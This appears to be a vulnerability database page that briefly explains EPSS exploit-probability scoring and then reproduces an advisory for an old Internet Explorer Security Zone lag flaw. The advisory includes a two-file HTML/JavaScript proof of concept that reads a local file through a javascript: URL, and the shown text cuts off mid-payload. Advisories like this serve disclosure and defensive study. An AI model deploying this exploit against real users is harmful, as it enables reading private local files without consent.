EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Microsoft Internet Explorer 4.0 for Windows 3.1/Windows 95,Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4,Internet Explorer 5.5 preview,Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0,Internet Explorer 5.0.1 Security Zone Settings Lag Vulnerability source: https://www.securityfocus.com/bid/923/info When a new document is loaded into an IE window, IE will not update the Security Zone settings for that window until the new document is completely loaded. This means that if a local document is loaded, and then a large remote document is loaded that has JavaScript at the very beginning, the JavaScript may load and execute before the Security Zone settings are updated. This could lead to remote and untrusted JavaScript running as local trusted code, with full access to local files, cookies, etc. -----------------img2main.html--------------------------------------- <A HREF="img2.html" TARGET="victim">link</A> <SCRIPT> alert("Create a short text file C:\\test.txt and it will be read and shown in a message box"); a=window.open("file://c:/test.txt","victim"); setTimeout("document.links[0].click()",2000); </SCRIPT> --------------------------------------------------------------------- ----------------img2.html-------------------------------------------- <HTML> <IMG SRC="javascript:a=window.open('javascript:alert(\'Here is your file: \'+opener.document.body.innerText)');alert('Just an alert, but is necessary.
